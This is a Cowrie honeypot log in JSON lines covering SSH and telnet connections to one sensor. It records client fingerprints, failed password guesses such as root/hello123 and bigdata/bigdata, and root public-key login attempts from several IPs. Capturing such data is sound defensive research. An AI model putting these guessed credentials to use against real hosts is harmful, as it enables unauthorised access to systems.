{"eventid":"cowrie.session.closed","duration":0.8120198249816895,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:24.873861Z","src_ip":"192.119.13.58","session":"514692781249","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50168,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d05ec8c526","protocol":"ssh","message":"New connection: 45.153.34.112:50168 (10.17.0.5:22) [session: 75d05ec8c526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:25.379613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:25.384834Z","src_ip":"45.153.34.112","session":"75d05ec8c526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:25.468570Z","src_ip":"45.153.34.112","session":"75d05ec8c526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:25.723290Z","src_ip":"45.153.34.112","session":"75d05ec8c526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:25.787283Z","src_ip":"186.68.83.105","session":"032b8122a546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":55788,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c3a52ec24dd","protocol":"ssh","message":"New connection: 43.153.112.253:55788 (10.17.0.5:22) [session: 3c3a52ec24dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:26.319877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:26.324763Z","src_ip":"43.153.112.253","session":"3c3a52ec24dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:26.393903Z","src_ip":"43.153.112.253","session":"3c3a52ec24dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:26.699551Z","src_ip":"43.153.112.253","session":"3c3a52ec24dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:26.809083Z","src_ip":"45.153.34.112","session":"75d05ec8c526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.179025173187256,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:27.520547Z","src_ip":"192.119.13.58","session":"fd7a65b3fe21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:27.770433Z","src_ip":"43.153.112.253","session":"3c3a52ec24dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53758,"dst_ip":"10.17.0.5","dst_port":23,"session":"308c0aff8905","protocol":"telnet","message":"New connection: 192.119.13.58:53758 (10.17.0.5:23) [session: 308c0aff8905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:28.561128Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50180,"dst_ip":"10.17.0.5","dst_port":22,"session":"08b89cdef9ab","protocol":"ssh","message":"New connection: 45.153.34.112:50180 (10.17.0.5:22) [session: 08b89cdef9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:29.070815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:29.079385Z","src_ip":"45.153.34.112","session":"08b89cdef9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:29.161774Z","src_ip":"45.153.34.112","session":"08b89cdef9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:29.408936Z","src_ip":"45.153.34.112","session":"08b89cdef9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58548,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff3c99dc563b","protocol":"telnet","message":"New connection: 192.119.13.58:58548 (10.17.0.5:23) [session: ff3c99dc563b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:29.633885Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:30.493818Z","src_ip":"45.153.34.112","session":"08b89cdef9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36434,"dst_ip":"10.17.0.5","dst_port":23,"session":"67059fb5d9c1","protocol":"telnet","message":"New connection: 192.119.13.58:36434 (10.17.0.5:23) [session: 67059fb5d9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.101256Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.9.81","src_port":39242,"dst_ip":"10.17.0.5","dst_port":22,"session":"84c5abcccea0","protocol":"ssh","message":"New connection: 104.194.9.81:39242 (10.17.0.5:22) [session: 84c5abcccea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.231519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.236106Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.242462Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:bd:f0:67:63:70:d0:24:9c:94:df:d9:9f:d8:2b:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3rA9xdTBPcEMsDh79vhcnj5I2OuepS1af0CfIYJiR+MxJ1uNhGsVuIipOS6xVK0FTxPK3psrqbnrMLAYK9uNnTv9YW6jq09hyCQt/WHjML6b6Hb1TR3snEqZymB7+VTLkolYib7A+EAZ14ciIP+d9buwfUvgT1lPufdKHVwJ0Qx7vsqLE8+QGYQCALWoS4ymRPQG4CdEwGpOLehUF+W39y4LEyf4AL1UdbjtwJbzgDdGQanT0nCLnnqC4KjZyAm6JvsNdByvpEDiV6nZlzeOOa9WgsE9tCth79HJO7k1OjAnWoc8U01jty4ZX/hddywFXDZ+9To6LqISkHpqkvK79Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:bd:f0:67:63:70:d0:24:9c:94:df:d9:9f:d8:2b:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.261316Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:bd:f0:67:63:70:d0:24:9c:94:df:d9:9f:d8:2b:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3rA9xdTBPcEMsDh79vhcnj5I2OuepS1af0CfIYJiR+MxJ1uNhGsVuIipOS6xVK0FTxPK3psrqbnrMLAYK9uNnTv9YW6jq09hyCQt/WHjML6b6Hb1TR3snEqZymB7+VTLkolYib7A+EAZ14ciIP+d9buwfUvgT1lPufdKHVwJ0Qx7vsqLE8+QGYQCALWoS4ymRPQG4CdEwGpOLehUF+W39y4LEyf4AL1UdbjtwJbzgDdGQanT0nCLnnqC4KjZyAm6JvsNdByvpEDiV6nZlzeOOa9WgsE9tCth79HJO7k1OjAnWoc8U01jty4ZX/hddywFXDZ+9To6LqISkHpqkvK79Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.265057Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:14:26:20:59:2c:e0:ef:64:f3:6b:13:13:ac:69:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkwwYJETiG5iYKZZ3ogOUGEmhNsQQ4OjKGExCR/YhdjOdds6fzYr1rKc3boh/nxLC7e/XQUOorUPp+yT1ZEzHZaqPYGjlFfnWk23qQwdnNuDyapJBJnNUxeaCCq1rP4MNKHIWamksvtGX0BXrEyOaxk4qca2VnYJLxyveO8FOb45EDgcUdfdh5dkuMo+KvFbtQAMOo1PZpf2ycVbXEczxIRq2rfS+tZ3msnAb0UTuCNY7/2hdMeceQWMt1UCt6Jfb08gb285uJW/aIzg8RgDeCuLemPAybdjj3RU0XvD+bjYTzs0+5UaxggTKg3ndwzH51LTgb/2rNCUfg4wB3/sg/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:14:26:20:59:2c:e0:ef:64:f3:6b:13:13:ac:69:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.272756Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:14:26:20:59:2c:e0:ef:64:f3:6b:13:13:ac:69:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkwwYJETiG5iYKZZ3ogOUGEmhNsQQ4OjKGExCR/YhdjOdds6fzYr1rKc3boh/nxLC7e/XQUOorUPp+yT1ZEzHZaqPYGjlFfnWk23qQwdnNuDyapJBJnNUxeaCCq1rP4MNKHIWamksvtGX0BXrEyOaxk4qca2VnYJLxyveO8FOb45EDgcUdfdh5dkuMo+KvFbtQAMOo1PZpf2ycVbXEczxIRq2rfS+tZ3msnAb0UTuCNY7/2hdMeceQWMt1UCt6Jfb08gb285uJW/aIzg8RgDeCuLemPAybdjj3RU0XvD+bjYTzs0+5UaxggTKg3ndwzH51LTgb/2rNCUfg4wB3/sg/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.276186Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:a0:06:0f:85:86:92:ed:a8:a9:d2:9c:3a:c1:b8:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXMfhONz68QSqZsA6ofRFwe/etYErOlTSkK6//hAX2vH7VPwH+hTfhhS2KyKjZRIoWSq4gSMH27QlZZe+9y0MGdB0qyM6amvompKpULGMJTpV1uwwBESlBvkQvoTytV1Q+Atm3J3qAJUSsxisZarCcm+oX2XTjIdPuJ7IaC6kHoIe3k3puOnoJbDvQVNbtlWfG/SIkrNBz/NXlosEoVNQL9ehQcF63YUUAo39jV6gLIRVj5Za4yMg7SKG17sN6GUTYanIZwv75YqUX7YDyNnDWOmshf5QqnHTegHldsJEkuvZFjYbhA1Stzmmb6vN2spSnsynGBE8S31qUXNSneb6F1PbbjCiLzNVhJxXesPR6KD1rGe41lVj0dPtC6a5URm+Noi2EYP2BXr8UbrVpSHITkswGkqhFglBJrj9JgtOXDpFllYKRlTPcA1LP4NtoistYQ+T7GtJ5Fr7FTERoqpzv/IZXKXIvWhuhGUsaYG3nJ+BATzGMwB3OtXAr0agRE0E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:a0:06:0f:85:86:92:ed:a8:a9:d2:9c:3a:c1:b8:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.283397Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:a0:06:0f:85:86:92:ed:a8:a9:d2:9c:3a:c1:b8:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXMfhONz68QSqZsA6ofRFwe/etYErOlTSkK6//hAX2vH7VPwH+hTfhhS2KyKjZRIoWSq4gSMH27QlZZe+9y0MGdB0qyM6amvompKpULGMJTpV1uwwBESlBvkQvoTytV1Q+Atm3J3qAJUSsxisZarCcm+oX2XTjIdPuJ7IaC6kHoIe3k3puOnoJbDvQVNbtlWfG/SIkrNBz/NXlosEoVNQL9ehQcF63YUUAo39jV6gLIRVj5Za4yMg7SKG17sN6GUTYanIZwv75YqUX7YDyNnDWOmshf5QqnHTegHldsJEkuvZFjYbhA1Stzmmb6vN2spSnsynGBE8S31qUXNSneb6F1PbbjCiLzNVhJxXesPR6KD1rGe41lVj0dPtC6a5URm+Noi2EYP2BXr8UbrVpSHITkswGkqhFglBJrj9JgtOXDpFllYKRlTPcA1LP4NtoistYQ+T7GtJ5Fr7FTERoqpzv/IZXKXIvWhuhGUsaYG3nJ+BATzGMwB3OtXAr0agRE0E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.287409Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:b2:14:5d:06:a6:e1:df:ff:32:2a:b0:66:fc:99:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoCJqQ92hacGDABjR13iISAx9VoR1xi5d83kB5ifFf7ChlNiBycKEjtXtt88K0cGBtwIT6eeMsR3o7LehvkX1it0WSLzKGNzW64cRFlw7UuTQ9IDfNSbxRf6wKmiWDBT5C/OHuhIYEwOM8qV01v1jRyUeKrtnf43olmFUVahdcc7STB/tYksVFI+xMGJqp93GkTv7Mkn0BlAiMYaiJp2kBUtifDgXiWScCeWj5yQQodjycfnWfrZtnPvR4YWH9v43pN2otCMOjn01ky5uun/N6mmdrYzzdbLzk2Y/QlMrzLXasrmcZ+VdfAWroQ7ivu27Ie9f+Xb0v36I3gUa4Mmrz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:b2:14:5d:06:a6:e1:df:ff:32:2a:b0:66:fc:99:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.297048Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:b2:14:5d:06:a6:e1:df:ff:32:2a:b0:66:fc:99:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoCJqQ92hacGDABjR13iISAx9VoR1xi5d83kB5ifFf7ChlNiBycKEjtXtt88K0cGBtwIT6eeMsR3o7LehvkX1it0WSLzKGNzW64cRFlw7UuTQ9IDfNSbxRf6wKmiWDBT5C/OHuhIYEwOM8qV01v1jRyUeKrtnf43olmFUVahdcc7STB/tYksVFI+xMGJqp93GkTv7Mkn0BlAiMYaiJp2kBUtifDgXiWScCeWj5yQQodjycfnWfrZtnPvR4YWH9v43pN2otCMOjn01ky5uun/N6mmdrYzzdbLzk2Y/QlMrzLXasrmcZ+VdfAWroQ7ivu27Ie9f+Xb0v36I3gUa4Mmrz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.300612Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:d0:1e:fb:d3:c1:1a:36:26:8b:05:06:5e:78:13:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtDqtSHmwX7d6jR/mN0/BEKNS2hxMOu5/xmn+FCouc7x15kPQKUwEgMDR6uCStEUOcUet+q3ZKYYnOJ7XrjecmHUvqwFTBsC4TQmFhnj7P5YWavVVU0e35FrRrrFxFHbOzMmQdOUYL3Zs+eA+l/AtrWUHCkQMC39JXqtlAzYfVoVpBK68vJ8o8sxHe6wkYrC4T5WrtzZI/HIJYMYUNwskZTg0+56pcKgkHvtrkeJHTQh0wHr72/hPyO0foLi/nsAbmVqysSoZkjBsdJotJOmyTIMwYgDGopEL3rc2duMXMzdqKp/lBiMoAqfnRniHBh/rVWOGNmCgTj/ZTVqdB4CY1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:d0:1e:fb:d3:c1:1a:36:26:8b:05:06:5e:78:13:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.307726Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:d0:1e:fb:d3:c1:1a:36:26:8b:05:06:5e:78:13:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtDqtSHmwX7d6jR/mN0/BEKNS2hxMOu5/xmn+FCouc7x15kPQKUwEgMDR6uCStEUOcUet+q3ZKYYnOJ7XrjecmHUvqwFTBsC4TQmFhnj7P5YWavVVU0e35FrRrrFxFHbOzMmQdOUYL3Zs+eA+l/AtrWUHCkQMC39JXqtlAzYfVoVpBK68vJ8o8sxHe6wkYrC4T5WrtzZI/HIJYMYUNwskZTg0+56pcKgkHvtrkeJHTQh0wHr72/hPyO0foLi/nsAbmVqysSoZkjBsdJotJOmyTIMwYgDGopEL3rc2duMXMzdqKp/lBiMoAqfnRniHBh/rVWOGNmCgTj/ZTVqdB4CY1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.310812Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.318833Z","src_ip":"104.194.9.81","session":"84c5abcccea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38408,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c8f30f41871","protocol":"telnet","message":"New connection: 192.119.13.58:38408 (10.17.0.5:23) [session: 4c8f30f41871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:31.334049Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42602,"dst_ip":"10.17.0.5","dst_port":23,"session":"7764aa11fff6","protocol":"telnet","message":"New connection: 192.119.13.58:42602 (10.17.0.5:23) [session: 7764aa11fff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:32.017118Z"}
